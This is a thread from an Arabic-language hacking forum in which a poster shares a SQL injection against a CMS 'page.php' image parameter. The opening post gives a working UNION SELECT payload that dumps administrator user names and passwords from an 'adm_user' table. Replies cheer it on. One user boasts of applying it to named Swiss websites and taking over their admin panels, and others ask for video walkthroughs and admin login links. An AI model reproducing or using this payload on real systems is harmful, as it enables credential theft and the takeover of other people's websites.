ثغرة جديدة من فرن فولكانو بتاريخ اليوم

[Black-FoG]

السلام عليكم ...

اليوم بعثلي فولكانو ثغرة جديدة وحصرية :

الملف المصاب :

http://server/cms/page.php?p=1&img=[N.A.S.T ]

الاستغلال :

http://server/cms/page.php?p=1&img=-1+UNION+ALL+select+1,2,3,4,5,GROUP_concat(CONVERT(num USING utf8),0x3a,CONVERT(user USINGutf8),0x3a,CONVERT(pswd USING utf8)),7,8,9,10,11,12,13,14+from+adm_user

مثال :

http://server/cms/page.php?p=1&img=-207+UNION+ALL+select+1,2,3,4,5,GROUP_concat%28CONVERT%28num%20USING%20utf8%29,0x3a,CONVERT%28user%20USING%20utf8%29,0x3a,CONVERT%28pswd%20USING%20utf8%29%29,7,8,9,10,11,12,13,14+from+adm_user

تحية لفولكانو على الشغل الجامد ... يله يا شباب ورونا همتكم ...





Adiooooos

[ToRn4Do]

هع مبدع يا فولكانو مشكور يا مان الى المام سر ههههه

[الشبح المرح]

بارك الله فيك اخوي

و هدا اول طلة لي

http://www.airbase-bern.ch/cms/page....+from+adm_user

يلا اللوحة و باي باي سويسرا خخخخخخخخ

بارك الله فيك يافوووووووغ و عبدو على التغرة

[الشبح المرح]

مقع 2
http://www.xxe.ch/cms/page.php?p=1&i...+from+adm_user


و الله يابركان انت شخص رائع جدا

كل المواقع سويسرية

[Tr0j4n]

مشكور Black-FoG وفولكانو
بارك الله فيكم

[Black-FoG]

الله يبارك فيكم اخواني والشكر طبعا موصول لاخونا فولكانو

تحياتي



Adioooos

[zizo]

اهلا اخي ممكن لو تشرح بالفيديو كيفية الاستغلال
وشكرا اكون متشرك

[zizo]

لن انسى مادا تفعلكم
وشكر مسبقا

[KaLa$nikoV]

دعسات موفقه شباب
بس انا يا بلاك ما بعرف اشي هاي الثغره من اكتشافك وانا ايش دخلني

[الشبح المرح]

ممكن تعطونا رابط الادمين بحثت و لم اجده و ليس لدي ادواة

[THE WARRIOR]

مبروك على الاكتشاف الرائع الله كان نفسى اجرب التغرة هلا لانى مشغول مرة تانية

مبرزك الاكتشاف خيووووو

[simoparkour]

ما شاء الله اكتشاف مبهر ولاكن اين هو الدورك

[salah14789]

4444

[drgreen]

إلى الأمام

[dodi8883]

خططططططططططير !